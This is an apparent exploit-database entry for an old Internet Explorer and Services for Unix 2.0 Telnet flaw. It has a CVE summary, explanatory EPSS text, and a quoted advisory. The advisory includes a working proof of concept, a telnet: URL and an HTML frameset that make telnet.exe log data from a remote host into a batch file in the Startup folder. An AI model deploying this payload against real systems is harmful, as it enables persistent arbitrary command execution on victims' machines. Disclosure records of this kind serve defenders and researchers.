CVE Descriptions

Internet Explorer 5.5 and earlier executes Telnet sessions using command line arguments that are specified by the web site, which could allow remote attackers to execute arbitrary commands if the IE client is using the Telnet client provided in Services for Unix (SFU) 2.0, which creates session transcripts.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EDB Verified : Yes

source: https://www.securityfocus.com/bid/2463/info Services for Unix 2.0 contains a client side logging option which records all information exchanged in a telnet session. A vulnerability exists that could enable a remote user to invoke the telnet client and execute arbitrary commands on a target machine via IE. This is achieved by crafting a URL composed of command line parameters to the telnet client, which would invoke 'telnet.exe'. Telnet would connect to the host and initate the logging of session information, access to this file will allow an attacker to write and execute arbitrary commands which may be executed later. The following URL will cause IE to connect to the host and initiate the logging function: telnet:-f%20\file.txt%20host The following is an example of a malicious HTML message which could cause data that is received from the destination port on the host "host" to be written to the file "filename" in the startup directory for all users. If the logged in user has the appropriate permissions, a batch file will be created and executed upon future authentication. <html> <frameset rows="100%,*"> <frame src=about:blank> <frame src=telnet:-f%20\Documents%20and%Settings\All%20Users \start%20menu\programs\startup\start.bat%20host%208000> </frameset> </html>
